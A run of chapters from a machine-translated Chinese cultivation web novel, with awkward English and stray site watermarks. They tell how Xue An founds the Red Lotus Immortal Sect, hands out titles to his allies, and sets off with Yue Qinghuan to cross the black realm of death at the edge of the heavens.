    Xue An''s words were like a shock of thunder, which shook the fierceness on Yingluo''s face, leaving only a blank look in her eyes.


    "He... has he merged with me?"


    "Otherwise, where do you think your current strength comes from?" Xue An said coldly.


    Yingluo��s tears burst into her eyes, and UU read "I knew he would not leave me! I knew..."


    Upon seeing this, Xue An couldn''t help slowing down his tone, and sighed lightly: "Since you know, then do well, don''t let him down, do you understand?"


    Yingluo nodded vigorously, and then the black energy on the golden wheel behind her head quickly disappeared, and then the whole person fell to the ground as if she had lost all her strength, and began to cry.


    "Uncle, I know you can hear me, I won''t be noisy anymore, I must be fine, but... I really miss you!"


    The sound is like weeping blood, which is moving.


    At least Huitong''s eyes showed tears.


    Xue An also sighed lightly.


    In this short period of time, he has sighed too many times.


    Then he turned around and whispered: "Come out when you are done crying. From now on...the way he hasn''t finished, you have to go down for him!"


    After all, Xue An turned around and strode away.

 Chapter 2180： Open the mountain

    Yingluo looked at Xue An''s back and slowly wiped away her tears, then stood up from the ground and looked at Guan Zizai and the others.


    "Brothers, let''s go!"


    Guan Zizai was a little surprised, because he didn''t expect Yingluo to recover so quickly.


    "Don''t wait any longer?"


    Yingluo shook her head, "No need! Because he is right, I will finish the road that Yuesha hasn''t walked yet!"


    "Master Nan Wu! If that''s the case, then I will leave this small cave when the Buddha cultivates, and create the Red Lotus Immortal Sect with the master!" Guan Zizai said in a deep voice.


    "Goodness is good!" The buddhas joined hands together and praised the goodness, and admired them.


    The three-day period is about to come.


    When the Red Lotus Fairy Sect officially opened the mountain, the venue was really crowded.


    The monks from the heavens and the yearning young people squeezed this place.


    It was too early at this moment, and many strong men, including Xue An, had not yet arrived.


    People whispered and talked.


    "I really don''t know if I can join Xue Shenzun''s sect!" The young monk from China said with an uneasy expression on his face.


    "Don''t worry, Xue Shenzun is a Chinese citizen, and he will definitely take care of our Chinese!" someone said confidently.


    "No matter how you take care of it, you have to have the strength. Don''t think about waste materials like me. It''s not bad to see this event!" Someone said with envy.


    These are basically the monks of the earth discussing.


    And these monks from all over the heavens are also very nervous.


    Because they didn''t know Xue An would arrange them like this.


    Especially many monks have their own sects, but they are basically very small sects.


    If he is squeezed out after joining the Red Lotus Immortal Sect, it will be over.


    Therefore, their hearts can be described as mixed, and they are very worried.


    Time passed little by little in this anxious atmosphere.


    Finally, the moment the sun just ascended to the sky.


    But seeing countless brilliant lights coming in mighty, they appeared above everyone''s heads in an instant.


    After standing still, it was the top powerhouses headed by Zhuge Zangye Hanshang Huye and others.


    Their appearance caused a commotion in the audience.


    Many people were shocked.


    "God, all the fairy kings in the entire heavens are basically there! This kind of momentum can be called the ancient and the modern!" Someone murmured almost moaning.


    After Zhuge Zang and others appeared, they did not disperse, but stood in the court with their hands hanging down, as if waiting for someone to arrive.


    At the same time, there was a loud rumbling noise from the sky, and then a figure strode towards it.


    With every step taken, the void beneath his feet would glow with countless radiance like veins.


    And the earth also made a loud rumbling noise, and then tall hills rose from the ground.


    This scene stunned everyone.


    Because Xue An came this way, countless mountains grew out of thin air wherever he passed.


    And these big mountains are not bare earth mountains. When they take shape, countless spiritual energy rains down, nourishing the whole mountain.


    In an instant, countless Ganoderma lucidum and grasses grew on these mountain peaks, and a large amount of spiritual energy condensed into a river in the mountains, winding through it.


    But in a blink of an eye, the mountains and rivers turned green, the spirits soared, and a huge Feng Shui situation faintly formed.


    Song Yi was trembling with excitement, "Building Feng Shui, Master is going to build a peerless cave mansion!"


    really.


    When Xue An stepped onto the battlefield, the originally empty battlefield immediately began to rumbling.


    There are five huge peaks rising from the ground like a pillar of heaven.


    The five peaks are like lotus flowers, and like palms, they guard the central platform.


    All this was done in a flash, and then Xue An lightly pointed his hand.


    "Long come!"


    With an order, an innumerable amount of aura poured into the boundless void above the sky.


    These auras quickly gathered together, and finally gathered together and turned into a dragon with a body length of hundreds of miles!


    This aura dragon revolved around Xue An, let out a loud roar, then leaned over and rushed down, and rammed into the platform directly.


    Click!


    Accompanied by bursts of subtle sounds.


    The peaks began to shake slightly.


    And along with their swaying, on the platform in the middle, a blossoming five-color lotus began to bloom.


    This is a scene that will only appear when the earth''s energy is so strong.


    In the blink of an eye, a peerless cave mansion appeared in front of everyone.


    But this is not over yet.


    Seeing Xue An flipped his wrist, the Tianzhu sword appeared in his hand.


    At this moment, after this Tianzhu sword had killed countless evil things, the whole body was red like blood, and the sword body was full of indescribable power.


    Xue An''s eyes moved slightly, and he slammed the sword down.


    The sword began to grow crazily in the middle of the journey, and when it reached the ground, it had become like a huge pillar standing on top of the earth.


    However, the tip of the sword did not penetrate into the ground, instead it floated above the ground and slowly turned.


    Xue An stepped forward to Tianzhu Sword, and wrote four characters in the air.


    Red lotus fairy sect!


    When the four characters were ten percent, they rammed the sword directly.


    Boom boom boom boom!


    Accompanied by four loud noises, these four ancient seal characters appeared on the body of the Tianzhu Sword!


    After all this was done, Xue An clapped his hands and examined it carefully before nodding with satisfaction.


    At this moment, two more glories flashed by, and then Li Jingxing and Hu Huan appeared beside Xue An.


    Huhuan looked at these four words with his arms, and nodded.


    "I have to admit, your writing is really good!"


    Li Jingxing was staring at this Tianzhu sword floating slowly in the sky, with brilliant eyes.


    Xue An smiled slightly, and then said lightly: "Start?"


    Huhuan nodded, "Let''s get started!"


    Xue An walked into the air again.


    This time, every time he took a step, red lotus would grow under his feet and gradually increase.


    When it reached the peak, the lotus at Xue An''s feet was already like a lotus platform, lifting him up.


    Xue An slowly turned around, looked at the masses of beings under his feet, and said lightly.


    "The Red Lotus Fairy Sect, starting today, the establishment of the mountain sect, those who disagree can raise it now!"


    The audience was very quiet and no one spoke.


    Xue An looked around the audience, then nodded.


    "Very well, it seems that everyone has no opinion, so..."


    "Li Jingxing, Hu Huan stepped forward to listen to it!"


    Li Jingxing and Hu Huan stepped forward, clasped their fists, and said, "Subordinates are here!"


    "From today onwards, you two have worshipped the Supreme Red Lotus Immortal Sect. You can hold the power of life and death when I am away, do you have any objections?"


    "no!"


    "well!"


    He said, but seeing Xue An suddenly waved his hand, the two intricate and gorgeous seal seals flew into the hands of Li Jingxing and Hu Huan.


    The two trembled, and they felt that the ground under their feet was instantly connected to their own flesh and blood.


    Immediately afterwards, Xue An yelled softly again: "Zhuge Zang, Ye Hanshang, Hu Ye, Tianzhana, Chu Wuxiang stepped forward to listen to it!"

 Chapter 2181： Black and white deacons reward good and punish evil

    The five people all stepped forward, "I''m waiting!"


    "I will enshrine you as a great sacrifice, each with the red lotus immortal sect and a peak of men and horses, and strictly control them to guard against the invasion of evil things. Is there any objection?"


    "Follow the suzerain''s order!"


    "Very good, print!"


    With a wave of Xue An''s hand, the five different colors of brilliance flew into the palms of Zhuge Zang and others.


    "White-browed Arhat, Guan Zizai, Diamond Hand, Yingluo listens to the order!"


    "The disciple is here!" The golden wheels of several Buddha repairers radiated a thousand rays of light from the back of their heads and stepped forward.


    "I named you the great guardian of the Red Lotus Immortal Sect, in charge of the Buddha''s cultivation in the world, and the promotion of the Dharma and the world. What are your wishes?"


    Several people put their palms together and exclaimed with joy, "Goodness, I am waiting!"


    "In that case, take the stick!"


    Unlike others, Baimeiguan Zizai and others get a stick that symbolizes the majesty of Dharma.


    In an instant, but seeing the golden light flooding the sky and the earth rushing into the golden lotus, everyone showed respect.


    This is because the Buddha''s practice has already won the respect of everyone with his own actions.


    After all, to talk about the heavy casualties, apart from sword repair, it is necessary to count Buddha repairs.


    Therefore, at the moment they are in the position of protection law, people have no objection.


    "Dragons listen to the seal!"


    The eldest princess Ao Qing stepped forward and said, bowing her head.


    "Subordinates are here!"


    "I named your Dragon Clan the Red Lotus Immortal Zongzhen Mountain God Beast, and you share the control of the Monster Clan in the world with the Qingqiu Fox Country. Do you have any objections?"


    As soon as this statement came out, Ao Qing looked excited and immediately bowed to the ground.


    "Thank you Xianzun, the dragons should do their best and dare not slack in the slightest."


    "It''s so good, take a reward!"


    Xue An raised his hand and flew out a brilliance, which was directly printed on the center of Ao Qing''s eyebrows.


    Click!


    With the infusion of a huge amount of the Law of Heaven, Ao Qing''s body began to expand rapidly, and her aura continued to rise.


    In the blink of an eye, she successfully broke through a small realm and stepped into the realm of the immortal emperor.


    This scene made many people look enthusiastic.


    We must know that from ancient times to the present, we don''t know how many people have been trapped in the realm of the immortal king and cannot survive.


    Now Ao Qing has taken this crucial step in an understatement, which is equivalent to Xue An personally opening a door to a stronger road for her.


    How can this not be enviable.


    Ao Qing was even more excited, and once again bowed her head deeply before bowing back.


    Next, Xue An didn''t call out immediately, instead he paused, and then smiled at Fan Mengxue and Tang Xuan''er standing in front of the crowd.


    "Mengxue, Xuan''er stepped forward to listen to it!"


    The two women trembled slightly, then stepped forward and bowed.


    The appearance of the two of them made many people shine.


    Because the temperament of the two of them can be described as two extremes, although they are all stunning.


    However, Fan Mengxue''s breath tends to be dark, like a red rose growing in the dark, giving people an extremely dangerous and unparalleled beauty.


    Tang Xuan''er was just the opposite. She had a calm and soft temperament, and with her gentle eyes, it was like an empty valley orchid, which made her feel more cordial.


    "Oh my god, I always thought the goddess Mengxue was pretty, but I didn''t expect Miss Xuaner to be so beautiful too!"


    "Me too, but I always thought that Goddess Xuan''er was better."


    "Hey, luckily I like both."


    In the whispers of the crowd, Xue An said solemnly: "You two are the black and white deacons of the Red Lotus Immortal Sect. You are in charge of rewarding good and punishing evil, OK?"


    When facing the two of them, Xue An even spoke with a much gentler tone, even almost as discussed.


    Without any hesitation, the two nodded together, "Okay!"


    Xue An nodded, then waved and threw out two radiances, each of which was printed on Fan Mengxue and Tang Xuan''er''s eyebrows.


    boom!


    The aura of the two of them suddenly soared.


    Especially Tang Xuan''er, who was slightly inferior to Fan Mengxue in strength, stepped into the realm of the fairy king in an instant.


    This is because Tang Xuan''er''s realm has actually been reached long ago, but because of her uncontested temperament, her accumulation has not been enough, so she has been unable to prove the truth.


    Now with the help of Xue An, it is natural and easy to enter the realm of the fairy king.


    And when the momentum has stabilized, the temperament of the two is even more distinct.


    Fan Mengxue''s body was dark and faint, like the master of punishment, which made people shudder.


    Tang Xuan''er has a noble temperament, just like a fairy who relieves suffering.


    After the second daughter retreated, Xue An''s smile gradually reduced, and then he shouted in a deep voice.


    "Fire Phoenix stepped forward and listened to it!"


    In an instant, all members of the Fire Phoenix headed by Cheng Hao came to Xue An.


    "Instructor!" everyone shouted in unison.


    There was a commotion in the audience.


    Because no one among the heavens knows the name of the Fire Phoenix, they seem to have become a legend among the heavens.


    Especially after this shocking battle, none of the members of the Fire Phoenix were damaged. Although it was said that there was the assistance of the armor of the soldiers, it was almost a miracle.


    Seeing these fighters trained by himself, Xue An''s face couldn''t help showing satisfaction.


    "I order you to wait for the elite of the Red Lotus Immortal Sect. If anyone dares to offend the Red Lotus Tianwei, do you know how to deal with it?"


    Cheng Hao stepped forward and said, "Muslim instructor, if anyone dares to offend Honglian Tianwei, kill!"


    "Kill!" All Fire Phoenix members shouted in unison.


    "Okay!" Xue An nodded, a flash of light flashed between his eyebrows, and then he saw countless evil soldiers appearing in the air, led by dozens of powerful zombie masters.


    It was the former tomb masters and evil soldiers recovered in the underground palace of Xuanming Mausoleum.


    Xue An originally planned to use it as a backup source of troops to supplement his strength during the war, but he didn''t expect it to be used in the future.


    And after seeing these evil soldiers and zombies, the audience was in a low uproar, and many people looked horrified.


    And Xue An lightly said: "Cheng Hao!"


    "What''s the command from the instructor!"


    "Now these evil soldiers have been worshipped as the masters of Xianzong. As for these zombies, these zombies are even more dedicated, so I will reward them to you as the second-line troops of the Phoenix!"


    Cheng Hao was excited when he heard the words, then bowed his head and said: "Oh, yes!"


    You should know that Cheng Hao had always been worried before. Although the members of the Fire Phoenix were strong, but the number of them was limited after all, it would be too wasteful if the Fire Phoenix did everything by himself.


    At this moment, the joining of these evil soldiers and the zombie mausoleum solved Cheng Hao''s urgent need.


    "Autumn Leaf, the night sky will come forward to listen to it!"


    The two were stunned, even if Xuan came forward, they did not give up.


    Because at this moment, they are still covered with scars, especially Ye Tianming, with both arms broken, and a strong breath of death has been lingering on the wound, making it impossible to heal.


    Seeing this scene, many people''s faces showed strong admiration.

 Chapter 2182： Ceremony is over

    Because Jian Xiu''s performance in this battle is obvious to all, and it can even be said that he used his own life to shake the invading evil things, winning a precious breathing opportunity for everyone.


    As a result, Jianxiu suffered heavy casualties. For example, Ye Kongming, so many Jianxiu children who liked vanity before, were only left at this moment.


    In addition to Li Jingxing, Qiu Yiye is the only remaining existence on the rankings.


    So Qiu Yiye and Yekong Ming can be called heroes.


    "Sovereign!" The two bowed their heads to salute.


    Xue An also showed respect to his face, and then responded with a salute.


    "The two men who have made great contributions to the world should set the example of the heavens. From then on, they have been the first elders of the Red Lotus Immortal Sect. They are enshrined in the world, can they?"


    Faced with these words, Qiu Yiye was calm.


    The night sky clearly burst into tears.


    Because after this battle, he, who was once young and frivolous, already understood a lot.


    In particular, the departure of Grandpa Ye Bufan and the death of many small partners made him deeply realize the hard-won victory.


    So after hearing what Xue An said, he finally found it difficult to control himself and burst into tears.


    But no one laughed at him at all, instead they all looked at him with respect.


    Because everyone knows what this tear means.


    Xue An sighed softly, and then personally gave two swords.


    After the two retired, Xue An continued to offer rewards.


    Suddenly, Xie Jingjing, Xiao Rui, Fat Aunt, Xie Uncle, An Ying, Yang Binyi Qiao Le, Zhao Xuehui, Xue Lan Anqing, Haoran Academy, Qingyang Temple and even Fubao Xiaolou''s rune orbs all had their own rewards.


    Until the end, when everyone thought that Feng could not be sealed, Xue An suddenly smiled.


    "Zhang Tianyou stepped forward and listened to it!"


    Who is Zhang Tianyou?


    Hearing this name, many people looked at each other with a look of doubt on their faces.


    Even Zhang Tianyou himself didn''t expect Xue An to remember him, but he didn''t react. As an artificial intelligence, Star Ring pushed him up without hesitation.


    "Xue...Mr. Xue!" Zhang Tianyou said bowingly.


    Xue An smiled slightly, "Zhang Tianyou, you have a strong mechanical power. I have ordered you to be the chief architect of the Red Lotus Immortal Sect. You must build a miraculous building. ?"


    Zhang Tianyou never expected that Xue An would entrust such an important task to himself. He was taken aback for a moment before nodding his head in excitement.


    "Sovereign, rest assured, I, Zhang Tianyou, as the president of the Science and Technology Change All Development Society, is inescapable of taking on this important task. I will do my best to create miraculous buildings!"


    Zhang Tianyou was excited and even a little incoherent.


    Xue An nodded with a smile, and then looked at the star ring that was pushing Zhang Tianyou up.


    "Star Ring!"


    "I''m here!"


    "You are a top artificial intelligence, and what you are best at is data sorting. Now I will give you all the data processing tasks of the entire Red Lotus Immortal Sect. May be competent?"


    "Of course there is no problem!" Star Ring said lightly.


    "It''s so good, then I will post my first mission now!"


    With that, Xue An''s eyes swept across the faces of everyone present, and finally stopped at the young people who were eager to try, and smiled faintly.


    "Now the skeleton of the Red Lotus Immortal Sect is complete, but if you want to truly achieve the immortal sect, the disciples are the root of everything. Therefore, I announce that the Red Lotus Immortal Sect will open its doors today, and anyone who wants to join can sign up , Regardless of ethnic origin!"


    "And the specific evaluation criteria and acceptance will be handled by Star Ring!"


    As soon as this statement came out, the whole world was boiling.


    Countless young people rejoiced.


    But there are also many people who want to go through the backdoor relationship and stop the idea in their hearts after hearing this.


    Because the person responsible for the assessment is actually artificial intelligence.


    How do you go about the backdoor relationship?


    I can��t run to the star ring and say that I will give you some benefits, and you will enroll me!


    Isn''t that an obvious hit at the muzzle?


    After everything was dealt with clearly, Xue Anchong nodded slightly.


    "The ceremony is over, the celebration begins!"


    The voice just fell, but I saw countless arranged fireworks skyrocketing and bursting above the sky.


    Bang bang bang!


    With a bang, bright fireworks filled the sky, and the atmosphere reached a climax.


    Not knowing who got up first, many people started to shout.


    "Red Lotus Immortal Sect!"


    "Red Lotus Immortal Sect!"


    The shouts were higher than the waves.


    But Xue An became famous and retired, and quietly disappeared from the sight of everyone.


    When he appeared again, he had already arrived on the roof of Villa No.1 Tianzi in Beijiang.


    At this moment, Yue Qinghuan was lying on the sofa watching the live broadcast on TV with great interest.


    When Xue An arrived, she raised her eyes slightly and said with a smile.


    "Xue An, you really surprised me!"


    Xue An did not speak either, but strolled across to her, and then sat down slowly.


    When he saw him sitting down, a sly color flashed in Yue Qinghuan''s eyes, and then he lifted a pair of big long legs on the coffee table without hesitation.


    She was wearing a short skirt, and when her legs were upturned, the hem of the skirt fell, drawing a breathtaking curve.


    Such beautiful scenery is enough to make ordinary people breathe.


    But Xue An didn''t seem to see it, and he didn''t even blink his eyelids, just said lightly.


    "Oh? What''s so surprising?"


    "Many, many, for example, I didn''t expect you to have such a great courage, integrating the power of the entire heavens to create a sect! So..."


    Having said that, Yue Qinghuan suddenly sat up, then leaned the coffee table with both hands, put his head in front of Xue An, and licked his lips.


    "I am more and more interested in you!"


    Xue An stared at Yue Qinghuan''s lavender eyes, and the corners of his mouth gradually raised, "Don''t you be afraid of playing with fire and burning yourself by doing this?"


    In the depths of Yue Qinghuan''s eyes flashed a touch of joy of trickery success, but Xuanyan said sincerely: "It is me who is playing with fire, but it seems you should be the one who set himself on fire!"


    Speaking she stretched out a slender hand, and wanted to touch Xue An''s cheek.


    But as soon as her hand reached halfway, she was blocked by an invisible force, and Xue An, who was sitting in front of her, disappeared.


    Yue Qinghuan was startled slightly, and at this moment, Xue An''s indifferent voice came from her side.


    "Don''t play these tricks in front of me, your tricks won''t work for me at all!"


    There was a look of anger in Yue Qinghuan''s eyes, but soon he changed to a pitiful look.


    "How do you know that I am a trick? What if someone is sincere? You..."


    Before she finished speaking, there was a sudden rush of heat in her ears.


    This feeling made Yue Qinghuan''s muscles tighten instantly, and his lavender eyes suddenly widened.


    At the same time, Xue An''s voice rang in her ears.


    "what about now?"

 Chapter 2183： Angry into anger

    Yue Qinghuan felt that his heartbeat speeded up instantly, blood rushed to the top of his head, and his cheeks flushed to the base of his ears.


    What is he going to do?


    Does he want...


    Just as Yue Qinghuan was thinking wildly and was ready, Xue An''s voice was gone, as if everything just now was an illusion.


    "Huh, why are you blushing?"


    Yue Qinghuan was taken aback for a moment, and then a deep anger appeared in his eyes, and said in an extremely blunt tone: "I suddenly changed my mind, and I will leave tomorrow. Do you like to leave!"


    After all, Yue Qinghuan turned around and strode away.


    Xue An looked at her back and suddenly said, "Don''t worry, I just said something in your ear just now. I didn''t do anything else, so you don''t need to care too much!"


    Hearing this, Yue Qinghuan, who was leaving in stride, suddenly staggered and almost fell to the ground, even if he accelerated away.


    A faint smile appeared at the corner of Xue An''s mouth, then turned around and said lightly: "Is it enough?"


    In the void, Huhuan''s body appeared.


    "I want to say I happened to be passing by, do you believe it?"


    Xue An did not speak, but looked at him quietly.


    After a while, Huhuan��s face showed embarrassment, ��It seems a little unreliable, right? But I��m not afraid that you will lose your principles when facing beauty and fall into the sugar-coated cannonball. So come and stare at you!"


    Xue An raised his eyebrows slightly, "What about the result?"


    Huhuan scratched his scalp and said with a smile, "It turns out that I was just worrying too much!"


    Then he stretched out his thumb and said in admiration: "Sure enough, he is truly the Red Lotus Immortal Venerable in the world. Facing such stunning temptations, he can be unmoved and admire!


    Xue An still did not speak, but looked at Huhuan quietly.


    Huhuan finally lost the battle, "Okay, OK, I admit that I came here to take a peek because of my curiosity. This will work!"


    As he said, the expression on Hu Huan''s face suddenly became serious.


    "Listening to your conversation just now, are you leaving tomorrow?"


    Xue An nodded, "Yes!"


    Hu Huan took a deep breath, "Don''t think about it anymore? No one knows what it looks like outside of the heavens. The origin of this Yue Qinghuan is even more unknown. This trip is unpredictable!"


    "How to think about it? Do you stay in the heavens and wait for death?" Xue An said lightly.


    Hu Huan didn''t say anything, and only after a long while sighed: "It''s a pity that I am not strong enough, otherwise I will definitely go with you this time!"


    "Forget it, only you and Li Jingxing guarding me among the heavens can you leave me with confidence, otherwise, if the rear is lost, wouldn''t it be a waste of all previous efforts?"


    Speaking of this, Xue An smiled slightly, "Moreover, the unpredictable good or bad is not just for me, maybe compared to those evil things outside the heavens, my appearance is really unpredictable!"


    Hu Huan took a deep look at Xue An, "Then... I wish you a smooth journey!"


    "Thank you!"


    Huhuan turned around to leave.


    "Wait a minute!" Xue An stopped him.


    "What''s the matter?" Hu Huan turned around and asked.


    Xue Ansen smiled, "You have been peeking for so long, don''t you just forget it?"


    Hu Huan: "..."


    In the end, Fox Huan, who was half-worthy of his wealth, fled in a panic.


    For a long time after that, as soon as he heard Xue An''s name, Huhuan would feel conditionedly painful.


    After Huhuan also disappeared into the sky, Xue An turned around and walked down the steps to the living room of the villa.


    At this moment, the two little girls are playing in the Red Lotus Immortal Sect with Xiaosha and Zhang Xiaoyu.


    Only An Yan was sitting on the sofa in the living room watching TV.


    After seeing Xue An walking down, An Yan couldn''t help but smile, "Did you finish?"


    Xue An nodded, then stepped forward and sat beside An Yan, stretched out his hand to wrap her shoulders, and An Yan fell into Xue An''s arms.


    Xue An gently stroked An Yan, who was as meek as a cat, and the two felt this rare tranquility in silence.


    After a long time, An Yan suddenly laughed.


    Xue An was a little strange, "What are you laughing at?"


    "I''m just laughing at the way you were when you blackmailed Fox Huan! Poor, the nine-tailed fox ancestor was also snatched by you!"


    Xue An couldn''t help but chuckle when he heard the words, and then gently squeezed An Yan''s cheek.


    "What nonsense, how can my husband be called blackmail? That is a reasonable punishment for him. If you don''t believe me, go and ask him now. He dare not have the slightest objection to keeping it!"


    An Yan smiled so that his eyes were bent into beautiful crescent shapes, and suddenly kissed Xue An on the cheek.


    "Husband!"


    "Ok!"


    "Do you know that when you open your eyes and tell lies, you look so cute!"


    "Okay! I dare to say that to my husband, and see how I punish you!"


    Speaking of Xue An, he stretched out his hand to He An Yan''s waist.


    The two laughed together.


    It wasn''t until a long time later, under An Yan''s breathless begging for mercy, that this "battle" was over.


    "Husband!"


    "Are we leaving tomorrow?"


    "Ok!"


    "Will I bring Xiaosha and Zhang Xiaoyu? I''m afraid I will miss them and feel lonely if I miss them!"


    "Of course!"


    "I really don''t know what a scene outside of the heavens!" An Yan said curiously.


    Xue An smiled slightly, "Don''t worry, you will know when the time comes!"


    And when Xue An was talking with An Yan, in a hidden valley somewhere on the earth, Yue Qinghuan was destroying the rocks bitterly.


    "Asshole! I dare to tease me like that. When I go home, I must let you know how good this girl is!"


    With the last shout, the entire valley collapsed silently and razed to the ground.


    At this time, a squad of monks passed by, UU reading www.uukanshu. When com felt the breath of the valley, he couldn''t help but shook his whole body.


    "What''s the matter? Why does this valley collapse silently?" Someone was surprised.


    "Could there be great power passing by here?"


    At this moment, Yue Qinghuan who saw the beauty and beauty suddenly showed his figure, glanced at the group of monks, and then lightly touched the void barefoot.


    A layer of ripples appeared in the void, and then Yue Qinghuan disappeared without a trace, leaving the group of cultivators standing stunned.


    It wasn''t until a long time later that someone whispered in shock.


    "Isn''t this woman... the one who had confronted the Half-Step Saint before during the war?"


    Everyone took a breath, and many people''s calves began to tremble.


    Because she can face off with the half-step saint, one can imagine the strength of this woman.


    If someone like herself was a little offended just now, maybe she could kill everyone in a flash with a random look!

 Chapter 2184： Leaving the black realm of death

    Time passed quickly, and soon came the next day.


    When everyone was still immersed in the joy of victory in the war and the shock brought by the establishment of the Red Lotus Immortal Sect.


    Xue An already quietly took An Yan, two little girls, Xiaosha, Zhang Xiaoyu, Chan''er and others left the earth and came to the back of the moon.


    At this moment, Yue Qinghuan was standing in this void quietly waiting for Xue An.


    Yue Qinghuan couldn''t help but snorted coldly when he saw him leading the family to rush forward, and then said angrily.


    "With so many people, do you really think this is a vacation to Heaven?"


    "Does that have anything to do with you?" Xue An raised his eyebrows slightly and said lightly.


    "Whatever you want, don''t blame me when something happens anyway!" Yue Qinghuan was obviously still lingering about yesterday''s affairs, with a very bad tone.


    Xue An ignored her and said directly to An Yan: "Yan''er, you take people back to Fubao Xiaolou first!"


    "Yeah!" An Yan nodded obediently, and then opened the passage of the Fubao Xiaolou to lead everyone in.


    Seeing this scene, Yue Qinghuan couldn''t help feeling a little anxious. He wanted to stop it, but as soon as his eyes turned, he had a plan in his heart.


    She changed to a smile on her face, and then said tiredly: "That''s really great Brother Xue, now we have a lot of time together!"


    While talking, she looked at Xue An with demonstrative eyes.


    That means my mother, I will scold you in front of your wife, and I will see how you respond.


    But it never expected that Xue An did not even respond to her provocation, and An Yan directly gave a lore.


    "Miss Yue, since this is the case, I hope you will take good care of my husband for me while we are together!"


    This sentence made Yue Qinghuan''s eyes widened, and he looked at An Yan in disbelief, but saw An Yan''s expression of sincerity, which did not seem to be fake.


    Yue Qinghuan finally couldn''t help asking: "Aren''t you afraid that something will happen when we are together?"


    "What happened?"


    Yue Qinghuan: "..."


    At this time, An Yan said to Xue An: "Husband, then I will miss them first! The journey to heaven is long, and you must remember to take good care of Miss Yue during this time!"


    Miss Miss Nian waved his hand at Yue Qinghuan.


    "Goodbye Aunt Yue!"


    After all, An Yan led everyone into the Fu Bao Xiaolou.


    The body of Fu Bao Xiaolou was hidden in Xue An''s sea of ??consciousness, which could guarantee absolute safety.


    In the blink of an eye, only Xue An and Yue Qinghuan were left in the audience.


    Yue Qinghuan looked at Xue An in a daze, and sighed slightly after a long time.


    "Xue An, I really envy you for having such a woman who trusts you unconditionally! Is she really not worried at all?"


    Xue An smiled slightly, "What is there to worry about, in fact, in Yan''er''s eyes, you are simply not qualified to attract her attention!"


    These words made Yue Qinghuan stunned, and when he understood what it meant, he couldn''t help but furious, and wanted to have an attack.


    Xue An said coldly: "If you don''t want to hurry up as soon as possible, you can keep playing like this forever, and I will accompany you."


    These words made Yue Qinghuan speechless, and finally stared at Xue An bitterly, then turned around and said lightly.


    "Next, I won''t wait for you when I''m on my way, I hope you can keep up!"


    After that, Yue Qinghuan disappeared in place.


    When she appeared in the next moment, she had already left the solar system and had arrived in the distant deep space.


    "Hmph, see how you chase now, if this girl is on the road with all her strength, would it be..."


    Yue Qinghuan said with a smug face, but before her voice fell, Xue An''s voice came next to her.


    "Why don''t you leave?"


    Yue Qinghuan was shocked, but seeing Xue An standing in the void not far away, he looked at her indifferently.


    This supernatural speed caused Yue Qinghuan''s eyes to shrink instantly, and then there was another teleport.


    This time she came directly to Proxima, a few light years away.


    Such a long leaping is a very difficult task for Yue Qinghuan.


    So when she appeared in figure, sweat was already showing on her forehead.


    "Huh, I definitely can''t catch up now!"


    But it seemed like a nightmare, Xue An''s voice sounded again.


    "It''s too slow, can you go faster?"


    Yue Qinghuan turned around with difficulty, but saw that Xue An was still standing not far behind her, and there was no change except for the change in position.


    Yue Qinghuan finally gave up.


    She finally understood what a terrifying height Xue An''s strength had reached during the promotion to Half Step Immortal Venerable.


    No wonder he said that even if he faced the owner of that finger, he still had a 20% chance of winning.


    This is not a lie!


    Next, Yue Qinghuan honestly led the way, and Xue An followed in a leisurely manner.


    Even with the vastness of the heavens, under Yue Qinghuan''s full drive, it was only a day or so that it had completely surpassed.


    There are no more stars flickering in the void ahead, only a moment of dignified iron-like darkness remains.


    Yue Qinghuan finally stopped, and then said in a deep voice: "This is the boundary of the heavens. As long as you cross this black region of death, you can reach beyond the heavens! I believe you should know this place when you were the **** of immortality !"


    Xue An nodded, "Of course!"


    As he said, he took a step forward, approaching the border, and then stretched out his hand to gently sink into the darkness.


    Bah!


    Accompanied by an imperceptible crisp sound, the light at the junction of light and dark instantly turned into an indestructible death ray, and it struck Xue An''s wrist.


    Bang!


    The powerful spiritual power in Xue An''s body was instantly activated, and he directly pierced this death ray.


    Nevertheless, a faint white mark still appeared on Xue An''s wrist.


    "With the boundless darkness as the boundary, any tangible and qualitative things will be completely shredded as soon as they enter it. When I was the Red Lotus Immortal Venerable, I tried to cross this black domain of death It also failed!"


    As he said, Xue An looked at Yue Qinghuan, with brilliant eyes, "Then how did you pass through this black area of ??death?"


    Yue Qing looked at Xue An with a smile. Although he didn''t speak, the expression on his face was already obvious.


    That''s you, beg me!


    Ask me and I''ll tell you!


    But Xue An didn''t take this set at all. Instead, he raised his eyebrows slightly, "I will give you three counts. If you don''t say it after the count, I will turn my head and go, and then find a way out by myself, understand?"


    As he said, Xue An stretched out a finger, "One!"


    Yue Qinghuan didn''t expect Xue An to be so straightforward and didn''t give himself time to hesitate.


    "two!"


    When the three was about to be called out, Yue Qinghuan finally gave in.


    "Okay, I''m afraid of you, come with me!"

 Chapter 2185： Shadow Turtle

    After walking a long way along the edge of the black domain of death, Yue Qinghuan suddenly stopped and said lightly: "The front is the passageway when I came in!"


    Xue An frowned slightly, because he didn''t notice any difference in this black area of ??death from before.


    Yue Qinghuan didn''t speak, but just looked at Xue An with a smile, as if he wanted to see if Xue An could find any clues without prompting.


    At this moment, Xue An suddenly gave a slight hey.


    Because he was carefully investigating with his spiritual mind, he suddenly found that the death black area here had an abnormal fluctuation.


    This feeling is as if a giant beast dormant in the shadow is spying on you, which is chilling.


    But Xue An didn''t retreat but moved forward, and walked to the junction of light and darkness in a few steps, then raised his eyes and stared quietly at the darkness in front of him.


    Seeing this scene, Yue Qinghuan''s mouth couldn''t help showing a smirk after "treacherous tricks", as if waiting for something.


    In an instant, the originally calm darkness suddenly burst into the sky, and then a loud roar came from it.


    Immediately afterwards, a huge and hideous head suddenly rushed out of the darkness and went straight to Xue An.


    All this happened so quickly, almost in the blink of an eye, he rushed to Xue An.


    It wasn''t until then that it became clear that this was a giant monster covered with black scales.


    At first glance, this monster looked like a giant tortoise, but it was much larger in size, and the tortoise shell-like thing in it was almost like a small city.


    The length of the limbs is amazing, as if five strange snakes are bound in the tortoise shell in the middle.


    It was such a huge monster with amazing speed. It came to Xue An almost instantly, and then opened his blood basin and swallowed it fiercely.


    Xue An''s eyes condensed slightly, because only by the power emanating from this monster, it can be concluded that this is at least a monster with the cultivation base of the fairy king.


    And this swallowing power, even Xue An would be moved by it.


    "Hey, Xue An, how about this surprise?" Yue Qinghuan laughed and said, preparing to see how Xue An was caught off guard to deal with this monster.


    As for whether Xue An will be hurt or eaten by this monster...


    That is not in Yue Qinghuan''s consideration at all.


